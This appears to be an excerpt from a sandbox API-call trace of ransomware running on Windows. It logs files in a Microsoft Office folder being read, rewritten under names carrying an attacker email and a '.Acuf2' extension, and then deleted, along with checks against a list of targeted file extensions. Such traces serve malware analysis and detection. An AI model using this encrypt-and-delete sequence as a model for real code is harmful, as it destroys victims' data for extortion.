	[0262.404] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x74d20, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x74d20, lpOverlapped=0x0) returned 1
	[0262.415] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.415] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.415] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.415] CloseHandle (hObject=0x2a4) returned 1
	[0262.415] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.415] SetEndOfFile (hFile=0x29c) returned 1
	[0262.627] CloseHandle (hObject=0x29c) returned 1
	[0262.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 1
	[0262.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.629] lstrlenW (lpString=".doc") returned 4
	[0262.629] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.629] lstrlenW (lpString=".docx") returned 5
	[0262.629] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1
	[0262.629] lstrlenW (lpString=".pdf") returned 4
	[0262.629] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.629] lstrlenW (lpString=".xls") returned 4
	[0262.629] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.629] lstrlenW (lpString=".xlsx") returned 5
	[0262.629] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1
	[0262.629] lstrlenW (lpString=".ppt") returned 4
	[0262.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.630] lstrlenW (lpString=".zip") returned 4
	[0262.630] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.630] lstrlenW (lpString=".rar") returned 4
	[0262.630] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.630] lstrlenW (lpString=".bz2") returned 4
	[0262.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.630] lstrlenW (lpString=".7z") returned 3
	[0262.630] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.630] lstrlenW (lpString=".dbf") returned 4
	[0262.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.630] lstrlenW (lpString=".1cd") returned 4
	[0262.630] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60
	[0262.630] lstrlenW (lpString=".jpg") returned 4
	[0262.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.645] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=108416) returned 1
	[0262.645] CloseHandle (hObject=0x29c) returned 1
	[0262.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 0x20
	[0262.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.645] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.645] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.646] GetLastError () returned 0x0
	[0262.646] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1a780, lpOverlapped=0x0) returned 1
	[0262.649] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1a790, lpOverlapped=0x0) returned 1
	[0262.651] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.652] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0262.652] SetEndOfFile (hFile=0x270) returned 1
	[0262.652] CloseHandle (hObject=0x270) returned 1
	[0262.652] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.652] SetEndOfFile (hFile=0x29c) returned 1
	[0262.659] CloseHandle (hObject=0x29c) returned 1
	[0262.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 1
	[0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.659] lstrlenW (lpString=".doc") returned 4
	[0262.659] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0262.659] lstrlenW (lpString=".docx") returned 5
	[0262.659] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0262.659] lstrlenW (lpString=".pdf") returned 4
	[0262.659] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0262.659] lstrlenW (lpString=".xls") returned 4
	[0262.659] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0262.659] lstrlenW (lpString=".xlsx") returned 5
	[0262.659] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0262.659] lstrlenW (lpString=".ppt") returned 4
	[0262.659] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.660] lstrlenW (lpString=".zip") returned 4
	[0262.660] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString=".rar") returned 4
	[0262.660] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString=".bz2") returned 4
	[0262.660] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString=".7z") returned 3
	[0262.660] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.660] lstrlenW (lpString=".dbf") returned 4
	[0262.660] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.660] lstrlenW (lpString=".1cd") returned 4
	[0262.660] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65
	[0262.660] lstrlenW (lpString=".jpg") returned 4
	[0262.660] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0262.660] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=446312) returned 1
	[0262.660] CloseHandle (hObject=0x29c) returned 1
	[0262.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll")) returned 0x20
	[0262.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.661] lstrlenW (lpString=".doc") returned 4
	[0262.661] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString=".docx") returned 5
	[0262.661] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1
	[0262.661] lstrlenW (lpString=".pdf") returned 4
	[0262.661] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString=".xls") returned 4
	[0262.661] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString=".xlsx") returned 5
	[0262.661] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1
	[0262.661] lstrlenW (lpString=".ppt") returned 4
	[0262.661] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.661] lstrlenW (lpString=".zip") returned 4
	[0262.661] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString=".rar") returned 4
	[0262.661] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.661] lstrlenW (lpString=".bz2") returned 4
	[0262.661] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.661] lstrlenW (lpString=".7z") returned 3
	[0262.661] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.661] lstrlenW (lpString=".dbf") returned 4
	[0262.662] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.662] lstrlenW (lpString=".1cd") returned 4
	[0262.662] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59
	[0262.662] lstrlenW (lpString=".jpg") returned 4
	[0262.662] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.662] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.662] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.663] GetLastError () returned 0x0
	[0262.663] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x9b80, lpOverlapped=0x0) returned 1
	[0262.750] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x9b90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x9b90, lpOverlapped=0x0) returned 1
	[0262.751] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.751] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0262.751] SetEndOfFile (hFile=0x270) returned 1
	[0263.295] CloseHandle (hObject=0x270) returned 1
	[0263.295] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.295] SetEndOfFile (hFile=0x29c) returned 1
	[0263.298] CloseHandle (hObject=0x29c) returned 1
	[0263.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 1
	[0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.336] lstrlenW (lpString=".doc") returned 4
	[0263.336] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.336] lstrlenW (lpString=".docx") returned 5
	[0263.336] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.337] lstrlenW (lpString=".pdf") returned 4
	[0263.337] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString=".xls") returned 4
	[0263.337] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString=".xlsx") returned 5
	[0263.337] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.337] lstrlenW (lpString=".ppt") returned 4
	[0263.337] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.337] lstrlenW (lpString=".zip") returned 4
	[0263.337] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString=".rar") returned 4
	[0263.337] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString=".bz2") returned 4
	[0263.337] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString=".7z") returned 3
	[0263.337] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.337] lstrlenW (lpString=".dbf") returned 4
	[0263.337] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.337] lstrlenW (lpString=".1cd") returned 4
	[0263.337] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68
	[0263.337] lstrlenW (lpString=".jpg") returned 4
	[0263.337] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.338] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=206) returned 1
	[0263.338] CloseHandle (hObject=0x338) returned 1
	[0263.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 0x20
	[0263.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0263.338] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.338] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.338] GetLastError () returned 0x0
	[0263.338] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xce, lpOverlapped=0x0) returned 1
	[0263.339] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0263.340] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.340] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0263.340] SetEndOfFile (hFile=0x320) returned 1
	[0263.340] CloseHandle (hObject=0x320) returned 1
	[0263.340] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.340] SetEndOfFile (hFile=0x338) returned 1
	[0263.342] CloseHandle (hObject=0x338) returned 1
	[0263.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 1
	[0263.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.343] lstrlenW (lpString=".doc") returned 4
	[0263.343] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.343] lstrlenW (lpString=".docx") returned 5
	[0263.343] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.343] lstrlenW (lpString=".pdf") returned 4
	[0263.343] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.343] lstrlenW (lpString=".xls") returned 4
	[0263.343] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.343] lstrlenW (lpString=".xlsx") returned 5
	[0263.343] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.343] lstrlenW (lpString=".ppt") returned 4
	[0263.343] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.343] lstrlenW (lpString=".zip") returned 4
	[0263.343] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.343] lstrlenW (lpString=".rar") returned 4
	[0263.343] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.343] lstrlenW (lpString=".bz2") returned 4
	[0263.343] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.343] lstrlenW (lpString=".7z") returned 3
	[0263.343] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.343] lstrlenW (lpString=".dbf") returned 4
	[0263.344] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.344] lstrlenW (lpString=".1cd") returned 4
	[0263.344] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62
	[0263.344] lstrlenW (lpString=".jpg") returned 4
	[0263.344] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.344] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=114) returned 1
	[0263.344] CloseHandle (hObject=0x338) returned 1
	[0263.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 0x20
	[0263.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0263.344] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.344] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.345] GetLastError () returned 0x0
	[0263.345] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.346] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.347] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
